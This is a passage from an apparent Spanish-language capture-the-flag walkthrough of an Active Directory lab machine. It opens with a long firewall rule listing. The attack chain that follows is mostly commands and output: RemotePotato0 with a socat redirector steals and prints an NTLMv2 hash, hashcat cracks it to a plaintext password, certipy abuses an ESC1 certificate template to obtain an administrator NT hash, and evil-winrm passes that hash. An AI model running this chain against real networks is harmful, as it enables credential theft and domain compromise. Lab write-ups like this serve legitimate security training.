Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Microsoft Key Distribution Service (RPC)
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Kerberos Key Distribution Center (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Kerberos Key Distribution Center
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            88
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Custom Block TCP
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            389,636,5985
RemotePort:                           Any
Edge traversal:                       No
Action:                               Block


Rule Name:                            Cast to Device streaming server (HTTP-Streaming-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain
Grouping:                             Cast to Device functionality
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            10246
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Remote Desktop - User Mode (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Remote Desktop
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            3389
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            AllJoyn Router (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private
Grouping:                             AllJoyn Router
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            9955
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Core Networking - IPHTTPS (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Core Networking
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            IPHTTPS
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File and Printer Sharing (SMB-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File and Printer Sharing
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            445
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Remote Desktop - Shadow (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Remote Desktop
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            Any
RemotePort:                           Any
Edge traversal:                       Defer to application
Action:                               Allow


Rule Name:                            File and Printer Sharing (NB-Session-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File and Printer Sharing
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            139
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Microsoft Media Foundation Network Source IN [TCP 554]
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Microsoft Media Foundation Network Source
LocalIP:                              Any
RemoteIP:                             LocalSubnet
Protocol:                             TCP
LocalPort:                            554,8554-8558
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File and Printer Sharing (Spooler Service - RPC-EPMAP)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File and Printer Sharing
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC-EPMap
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            DIAL protocol server (HTTP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain
Grouping:                             DIAL protocol server
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            10247
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Windows Management Instrumentation (DCOM-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Windows Management Instrumentation (WMI)
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            135
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Delivery Optimization (TCP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Delivery Optimization
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            7680
RemotePort:                           Any
Edge traversal:                       Yes
Action:                               Allow


Rule Name:                            Windows Remote Management (HTTP-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private
Grouping:                             Windows Remote Management
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            5985
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Windows Management Instrumentation (WMI-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Windows Management Instrumentation (WMI)
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            Any
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Windows Management Instrumentation (ASync-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             Windows Management Instrumentation (WMI)
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            Any
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            Cast to Device streaming server (RTSP-Streaming-In)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain
Grouping:                             Cast to Device functionality
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            23554,23555,23556
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow


Rule Name:                            File and Printer Sharing (Spooler Service - RPC)
----------------------------------------------------------------------
Enabled:                              Yes
Direction:                            In
Profiles:                             Domain,Private,Public
Grouping:                             File and Printer Sharing
LocalIP:                              Any
RemoteIP:                             Any
Protocol:                             TCP
LocalPort:                            RPC
RemotePort:                           Any
Edge traversal:                       No
Action:                               Allow

Entonces, si lo hacemos dentro de este rango, obtendremos el hash de la contraseña del usuario nigel.mills.

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.87.96:8888

si ejecutamos nuevamente RemotePotato0.exe lo obtendremos con exito:

.\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.79 -p 8888
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 8888
[*] Example Network redirector:
        sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::8888
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] RPC relay server listening on port 9997 ...
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] Starting RogueOxidResolver RPC Server listening on port 8888 ...
[*] IStoragetrigger written: 104 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 8888
[+] User hash stolen!

NTLMv2 Client   : AWSJPDC0522
NTLMv2 Username : SHIBUYA\Nigel.Mills
NTLMv2 Hash     : Nigel.Mills::SHIBUYA:f52be56e934b2cc4:806247512fbce989410edfdc281d07bd:010100000000000092a22027acc3db0181cf5dba1be2dbae0000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c000700080092a22027acc3db01060004000600000008003000300000000000000001000000002000002e3417c6809a0b8d004aa8655a76c63b61f22c6a8a02f0555cb9c7f6f8a4079e0a00100000000000000000000000000000000000090000000000000000000000

Copiaremos este hash en un archivo y lo crakearemos con hashcat:

hashcat nigel.mills.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
 
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
NIGEL.MILLS::SHIBUYA:f52be56e934b2cc4:806247512fbce989410edfdc281d07bd:010100000000000092a22027acc3db0181cf5dba1be2dbae0000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c000700080092a22027acc3db01060004000600000008003000300000000000000001000000002000002e3417c6809a0b8d004aa8655a76c63b61f22c6a8a02f0555cb9c7f6f8a4079e0a00100000000000000000000000000000000000090000000000000000000000:Sail2Boat3
...[snip]...

y lo tenemos, la contraseña de nigel.mills : Sail2Boat3, asi que nos metemos por SSH.

Si volvemos a bloodhound veremos que es vulnerable a ESC1, asi que tendremos que usar ssh para hacer port forwarding al puerto 1080

ssh -D 1080 nigel.mills@shibuya.vl

ahora con proxychains utilizaremos certipy para confirmarnos la vulnerabilidad en ESC1.

find -vulnerable -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -stdout

Pasted image 20261109211817

Explotaremos el ESC1 de la siguiente manera gracias a proxychains y certipy

proxychains certipy req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -target 10.129.234.42 -key-size 4096

Una vez nos guarde el archivo ejecutaremos el siguiente comando:

proxychains certipy req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -target 10.129.234.42 -key-size 4096 -sid S-1-5-21-87560095-894484815-3652015022-500

y volveremos a ejecutar el siguiente comando para obtener el nthash de admin:

proxychains certipy auth -pfx _admin.pfx -dc-ip 127.0.0.1

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: '_admin@shibuya.vl'
[*]     SAN URL SID: 'S-1-5-21-87560095-894484815-3652015022-500'
[*]     Security Extension SID: 'S-1-5-21-87560095-894484815-3652015022-500'
[*] Using principal: '_admin@shibuya.vl'
[*] Trying to get TGT...
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:88  ...  OK
[*] Got TGT
[*] Saving credential cache to '_admin.ccache'
[*] Wrote credential cache to '_admin.ccache'
[*] Trying to retrieve NT hash for '_admin'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:88  ...  OK
[*] Got hash for '_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:S

solo tendriamos que hacer un passthehash con el proxychains:

proxychains evil-winrm -i 127.0.0.1 -u _admin -H bab5b2a004eabb11d865f31912b6b430